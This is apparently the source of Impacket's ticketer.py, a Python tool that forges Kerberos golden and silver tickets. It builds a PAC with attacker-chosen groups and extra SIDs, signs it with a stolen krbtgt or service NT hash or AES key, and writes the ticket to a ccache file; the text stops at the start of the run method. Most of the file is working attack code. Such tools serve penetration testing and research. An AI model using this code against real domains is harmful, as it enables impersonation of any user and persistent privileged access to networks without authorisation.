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@asolino @machosec @martingalloar @luzpaz @vszakats @derUnbekannt
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#!/usr/bin/env python
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
# groups, extrasids, etc.
# Tickets duration is fixed to 10 years from now (although you can manually change it)
#
# References:
# Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
# (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
# Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz
# (https://github.com/gentilkiwi/mimikatz)
#
# Examples:
# ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
#
# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
# baduser.ccache.
#
# ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN>
# -request -user <a valid domain user> -password <valid domain user's password> baduser
#
# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
# as template for customization. Whatever encryption algorithms used on that ticket will be honored,
# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
# as baduser.ccache.
#
# ToDo:
# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh
# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
#
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import random
import string
import sys
from calendar import timegm
from time import strptime
from binascii import unhexlify
from pyasn1.codec.der import encoder, decoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.dcerpc.v5.dtypes import RPC_SID
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
from impacket.examples import logger
from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart
from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
KERB_NON_KERB_CKSUM_SALT
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.crypto import _checksum_table, Enctype
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO
from impacket.krb5.types import KerberosTime, Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
class TICKETER:
def __init__(self, target, password, domain, options):
self.__password = password
self.__target = target
self.__domain = domain
self.__options = options
if options.spn:
spn = options.spn.split('/')
self.__service = spn[0]
self.__server = spn[1]
# we are creating a golden ticket
else:
self.__service = 'krbtgt'
self.__server = self.__domain
@staticmethod
def getFileTime(t):
t *= 10000000
t += 116444736000000000
return t
def createBasicValidationInfo(self):
# 1) KERB_VALIDATION_INFO
kerbdata = KERB_VALIDATION_INFO()
aTime = timegm(datetime.datetime.utcnow().timetuple())
unixTime = self.getFileTime(aTime)
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__target
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 500
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = int(self.__options.user_id)
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain.upper()
kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = VALIDATION_INFO()
validationInfo['Data'] = kerbdata
return validationInfo
def createBasicPac(self, kdcRep):
validationInfo = self.createBasicValidationInfo()
pacInfos = {}
pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
srvCheckSum = PAC_SIGNATURE_DATA()
privCheckSum = PAC_SIGNATURE_DATA()
if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
srvCheckSum['Signature'] = b'\x00' * 16
privCheckSum['Signature'] = b'\x00' * 16
else:
srvCheckSum['Signature'] = b'\x00' * 12
privCheckSum['Signature'] = b'\x00' * 12
if len(self.__options.aesKey) == 64:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
else:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
clientInfo = PAC_CLIENT_INFO()
clientInfo['Name'] = self.__target.encode('utf-16le')
clientInfo['NameLength'] = len(clientInfo['Name'])
pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
return pacInfos
def createBasicTicket(self):
if self.__options.request is True:
if self.__domain == self.__server:
logging.info('Requesting TGT to target domain to use as basis')
else:
logging.info('Requesting TGT/TGS to target domain to use as basis')
if self.__options.hashes is not None:
lmhash, nthash = self.__options.hashes.split(':')
else:
lmhash = ''
nthash = ''
userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(lmhash), unhexlify(nthash), None,
self.__options.dc_ip)
if self.__domain == self.__server:
kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
else:
serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,
sessionKey)
kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# Let's check we have all the necessary data based on the ciphers used. Boring checks
ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
encPartCipher = int(kdcRep['enc-part']['etype'])
if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
self.__options.nthash is None:
logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
'Can\'t continue ( or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is None:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
'Can\'t continue')
return None, None
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = noValue
kdcRep['cname']['name-string'][0] = self.__target
else:
logging.info('Creating basic skeleton ticket and PAC Infos')
if self.__domain == self.__server:
kdcRep = AS_REP()
kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
else:
kdcRep = TGS_REP()
kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
kdcRep['pvno'] = 5
if self.__options.nthash is None:
kdcRep['padata'] = noValue
kdcRep['padata'][0] = noValue
kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
etype2 = ETYPE_INFO2()
etype2[0] = noValue
if len(self.__options.aesKey) == 64:
etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
encodedEtype2 = encoder.encode(etype2)
kdcRep['padata'][0]['padata-value'] = encodedEtype2
kdcRep['crealm'] = self.__domain.upper()
kdcRep['cname'] = noValue
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = noValue
kdcRep['cname']['name-string'][0] = self.__target
kdcRep['ticket'] = noValue
kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
kdcRep['ticket']['realm'] = self.__domain.upper()
kdcRep['ticket']['sname'] = noValue
kdcRep['ticket']['sname']['name-string'] = noValue
kdcRep['ticket']['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
else:
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['ticket']['sname']['name-string'][1] = self.__server
kdcRep['ticket']['enc-part'] = noValue
kdcRep['ticket']['enc-part']['kvno'] = 2
kdcRep['enc-part'] = noValue
if self.__options.nthash is None:
if len(self.__options.aesKey) == 64:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['kvno'] = 2
kdcRep['enc-part']['cipher'] = noValue
pacInfos = self.createBasicPac(kdcRep)
return kdcRep, pacInfos
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
encTicketPart = EncTicketPart()
flags = list()
flags.append(TicketFlags.forwardable.value)
flags.append(TicketFlags.proxiable.value)
flags.append(TicketFlags.renewable.value)
if self.__domain == self.__server:
flags.append(TicketFlags.initial.value)
flags.append(TicketFlags.pre_authent.value)
encTicketPart['flags'] = encodeFlags(flags)
encTicketPart['key'] = noValue
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
else:
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
encTicketPart['crealm'] = self.__domain.upper()
encTicketPart['cname'] = noValue
encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encTicketPart['cname']['name-string'] = noValue
encTicketPart['cname']['name-string'][0] = self.__target
encTicketPart['transited'] = noValue
encTicketPart['transited']['tr-type'] = 0
encTicketPart['transited']['contents'] = ''
encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
# Let's extend the ticket's validity a lil bit
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
encTicketPart['authorization-data'] = noValue
encTicketPart['authorization-data'][0] = noValue
encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
encTicketPart['authorization-data'][0]['ad-data'] = noValue
# Let's locate the KERB_VALIDATION_INFO and Checksums
if PAC_LOGON_INFO in pacInfos:
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data[lenVal:], lenVal)
aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
unixTime = self.getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# Let's adjust username and other data
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
validationInfo['Data']['EffectiveName'] = self.__target
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if self.__options.extra_sid is not None:
extrasids = self.__options.extra_sid.split(',')
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
for extrasid in extrasids:
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extrasid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
else:
validationInfo['Data']['ExtraSids'] = NULL
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print ('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
logging.info('\tPAC_LOGON_INFO')
# Let's now clear the checksums
if PAC_SERVER_CHECKSUM in pacInfos:
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = '\x00' * 12
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
serverChecksum['Signature'] = '\x00' * 12
else:
serverChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if PAC_PRIVSVR_CHECKSUM in pacInfos:
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = '\x00' * 12
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = '\x00' * 12
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
privSvrChecksum['Signature'] = '\x00' * 12
else:
privSvrChecksum['Signature'] = '\x00' * 16
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
else:
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
if PAC_CLIENT_INFO_TYPE in pacInfos:
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
pacClientInfo['ClientId'] = unixTime
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
else:
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
logging.info('\tPAC_CLIENT_INFO_TYPE')
logging.info('\tEncTicketPart')
if self.__domain == self.__server:
encRepPart = EncASRepPart()
else:
encRepPart = EncTGSRepPart()
encRepPart['key'] = noValue
encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
encRepPart['last-req'] = noValue
encRepPart['last-req'][0] = noValue
encRepPart['last-req'][0]['lr-type'] = 0
encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
encRepPart['nonce'] = 123456789
encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
encRepPart['flags'] = encodeFlags(flags)
encRepPart['authtime'] = str(encTicketPart['authtime'])
encRepPart['endtime'] = str(encTicketPart['endtime'])
encRepPart['starttime'] = str(encTicketPart['starttime'])
encRepPart['renew-till'] = str(encTicketPart['renew-till'])
encRepPart['srealm'] = self.__domain.upper()
encRepPart['sname'] = noValue
encRepPart['sname']['name-string'] = noValue
encRepPart['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
encRepPart['sname']['name-string'][1] = self.__domain.upper()
logging.info('\tEncAsRepPart')
else:
encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
encRepPart['sname']['name-string'][1] = self.__server
logging.info('\tEncTGSRepPart')
return encRepPart, encTicketPart, pacInfos
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos):
logging.info('Signing/Encrypting final ticket')
# We changed everything we needed to make us special. Now let's repack and calculate checksums
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
# offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = pacType.getData()
checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])
checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']]
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
else:
raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'])
serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
logging.info('\tPAC_SERVER_CHECKSUM')
privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
logging.info('\tPAC_PRIVSVR_CHECKSUM')
buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = noValue
authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
authorizationData[0]['ad-data'] = pacType.getData()
authorizationData = encoder.encode(authorizationData)
encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
if logging.getLogger().level == logging.DEBUG:
logging.debug('Customized EncTicketPart')
print(encTicketPart.prettyPrint())
print ('\n')
encodedEncTicketPart = encoder.encode(encTicketPart)
cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
key = Key(cipher.enctype, unhexlify(self.__options.nthash))
else:
raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes TGS session
# key or application session key), encrypted with the
# service key (Section 5.3)
logging.info('\tEncTicketPart')
cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
kdcRep['ticket']['enc-part']['cipher'] = cipherText
kdcRep['ticket']['enc-part']['kvno'] = 2
# Lastly.. we have to encrypt the kdcRep['enc-part'] part
# with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
encodedEncASRepPart = encoder.encode(encASorTGSRepPart)
if self.__domain == self.__server:
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncASRepPart')
cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None)
else:
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key
# (Section 5.4.2)
sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())
logging.info('\tEncTGSRepPart')
cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None)
kdcRep['enc-part']['cipher'] = cipherText
kdcRep['enc-part']['etype'] = cipher.enctype
kdcRep['enc-part']['kvno'] = 1
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final Golden Ticket')
print(kdcRep.prettyPrint())
print ('\n')
return encoder.encode(kdcRep), cipher, sessionKey
def saveTicket(self, ticket, sessionKey):
logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
from impacket.krb5.ccache import CCache
ccache = CCache()
if self.__server == self.__domain:
ccache.fromTGT(ticket, sessionKey, sessionKey)
else:
ccache.fromTGS(ticket, sessionKey, sessionKey)
ccache.saveFile(self.__target.replace('/','.') + '.ccache')
def run(self):
